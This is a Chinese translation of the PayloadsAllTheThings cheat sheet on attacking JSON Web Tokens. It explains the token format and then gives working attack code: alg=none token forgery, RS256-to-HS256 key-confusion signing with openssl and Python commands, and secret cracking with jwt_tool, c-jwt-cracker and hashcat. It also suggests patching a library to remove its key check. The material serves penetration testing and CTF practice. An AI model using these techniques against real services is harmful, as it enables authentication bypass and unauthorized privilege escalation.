【翻译】PayloadsAllTheThings——JWT (JWT - JSON Web Token)
JWT - JSON Web Token
本文翻译自:swisskyrepo/PayloadsAllTheThings
在原文基础增加了未提到的利用方法。
2022-12-19 翻译第一版
JSON Web Token (JWT)是一个开放标准(RFC 7519),它定义了一种紧凑且自包含的方式,用于作为JSON对象在各方之间安全地传输信息。此信息是可以验证和信任的,因为它是数字签名的。
参考工具 (Tools)
jwt_tool
c-jwt-cracker
JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper
JWT格式(JWT Format).
Base64(Header头部).Base64(Data数据).Base64(Signature签名)
举个例子:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY
通过“点”可以把其分为三段:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 # header
eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
头部 (Header)
默认算法是HS256
(HMAC SHA256对称加密),不对称加密时使用RS256
(RSA非对称加密和私钥签名)
{
"typ": "JWT",
"alg": "HS256"
}
alg 参数的值 | 数字签名或MAC算法 | 要求 |
---|---|---|
HS256 | HMAC using SHA-256 | Required |
HS384 | HMAC using SHA-384 | Optional |
HS512 | HMAC using SHA-512 | Optional |
RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended |
RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional |
RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional |
ES256 | ECDSA using P-256 and SHA-256 | Recommended+ |
ES384 | ECDSA using P-384 and SHA-384 | Optional |
ES512 | ECDSA using P-521 and SHA-512 | Optional |
PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional |
PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional |
PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional |
none | No digital signature or MAC performed | Optional |
载荷 (Payload)
{
"sub":"1234567890",
"name":"Amazing Haxx0r",
"exp":"1466270722",
"admin":true
}
预定义的键及其值:
- iss: JWT的签发者
- exp: JWT过期时间的时间戳(拒绝已过期的令牌)。注意:在规范中定义,必须以秒为单位
- iat: JWT签发的时间
- nbf: “not before”是JWT将变得起作用的的未来时间。
- jti: JWT的唯一标识符。用于防止JWT被重复使用或重播。
- sub: JWT面向的用户(很少使用)
- aud: JWT的接受者(很少使用)
JWT 在线编解码: https://jwt.io/
利用方法
JWT签名——None算法
JWT支持的签名算法为None。这可能是为调试时引入的。但是,这可能会对应用程序的安全性产生严重影响。
None算法变种:
- none
- None
- NONE
- nOnE
要利用此漏洞,只需要解码JWT并更改用于签名的算法。然后你就可以提交新的JWT了。
但是,除非删除签名,否则这将不起作用
或者,您可以修改现有的JWT(注意过期时间)
#!/usr/bin/python3
# -*- coding: utf-8 -*-
import jwt
jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
decodedToken = jwt.decode(jwtToken, verify=False) # Need to decode the token before encoding with type 'None'
noneEncoded = jwt.encode(decodedToken, key='', algorithm=None)
print(noneEncoded.decode())
"""
Output:
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.
"""
非对称加密私钥泄露
使用泄漏的私钥重新生成修改后的JWT。例如:ctfshow web349
JWT签名——RS256 转为 HS256(非对称转为对称)
由于公钥有时可以被攻击者获取,攻击者可以将报头中的算法修改为HS256,然后使用RSA公钥对数据进行签名。
HS256算法使用密钥对每条消息进行签名和验证。(对称加密)
RS256算法使用私钥对消息进行签名,并使用公钥进行身份验证。(非对称加密)
import jwt
public = open('public.pem', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
此行为在python库中已修复,并将返回此错误
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
有两种方法绕过,第一种较为简单:
第一种是修改这个库的源代码,注释掉检查报错部分。
第二种是:
$ cat key.pem | xxd -p | tr -d "\\n"
2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
$ echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e20505[STRIPPED]592d2d2d2d2d0a
(stdin)= 8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0
$ python2 -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('8f421b351eb61ff226df88d526a7e9b9bb7b8239688c1f862f261a0c588910e0')).replace('=','')\")"
最后拼接JWT
[HEADER EDITED RS256 TO HS256].[DATA EDITED].[SIGNATURE]
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6IjIzIiwidXNlcm5hbWUiOiJ2aXNpdG9yIiwicm9sZSI6IjEifQ.j0IbNR62H_Im34jVJqfpubt7gjlojB-GLyYaDFiJEOA
爆破JWT密钥
用密钥编解码JWT
import jwt
encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256') # encode with 'secret'
encoded = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE"
jwt.decode(encoded, 'Sn1f', algorithms=['HS256']) # decode with 'Sn1f' as the secret key
# result
{u'admin': True, u'sub': u'1234567890', u'name': u'John Doe'}
JWT tool(需要字典)
https://github.com/ticarpi/jwt_tool
git clone https://github.com/ticarpi/jwt_tool
python3 -m pip install termcolor cprint pycryptodomex requests
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.1rtMXfvHSjWuH6vXBCaLLJiBghzVrLJpAQ6Dl5qD4YI -d /tmp/wordlist -C
字典文件:
https://github.com/wallarm/jwt-secrets
JWT cracker (无需字典)
https://github.com/brendan-rius/c-jwt-cracker
git clone https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE
Secret is "Sn1f"
Hashcat (可用显卡加速)
支持在单个GTX1080上以365MH/s的速度破解JWT (JSON Web Token)
Hashcat
/hashcat -m 16500 hash.txt -a 3 -w 3 ?a?a?a?a?a?a
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMj...Fh7HgQ:secret
CVE详情
- CVE-2015-2951 - The alg=none signature-bypass vulnerability
- CVE-2016-10555 - The RS/HS256 public key mismatch vulnerability
- CVE-2018-0114 - Key injection vulnerability
- CVE-2019-20933/CVE-2020-28637 - Blank password vulnerability
- CVE-2020-28042 - Null signature vulnerability
靶场 (Labs)
- JWT authentication bypass via unverified signature
- JWT authentication bypass via flawed signature verification
- JWT authentication bypass via weak signing key
- JWT authentication bypass via jwk header injection
- JWT authentication bypass via jku header injection
- JWT authentication bypass via kid header path traversal
参考阅读 (References)
- Hacking JSON Web Token (JWT) - Hate_401
- WebSec CTF - Authorization Token - JWT Challenge
- Privilege Escalation like a Boss - October 27, 2018 - janijay007
- 5 Easy Steps to Understanding JSON Web Token
- Hacking JSON Web Tokens - From Zero To Hero Without Effort - Websecurify Blog
- HITBGSEC CTF 2017 - Pasty (Web) - amon (j.heng)
- Critical vulnerabilities in JSON Web Token libraries - March 31, 2015 - Tim McLean
- Learn how to use JSON Web Tokens (JWT) for Authentication - @dwylhq
- Simple JWT hacking - @b1ack_h00d
- Attacking JWT authentication - Sep 28, 2016 - Sjoerd Langkemper
- How to Hack a Weak JWT Implementation with a Timing Attack - Jan 7, 2017 - Tamas Polgar
- Write up – JRR Token – LeHack 2019 - 07/07/2019 - LAPHAZE
- JWT Hacking 101 - TrustFoundry - Tyler Rosonke - December 8th, 2017
- JSON Web Token Validation Bypass in Auth0 Authentication API - Ben Knight Senior Security Consultant - April 16, 2020
- Hacking JSON Web Tokens - medium.com Oct 2019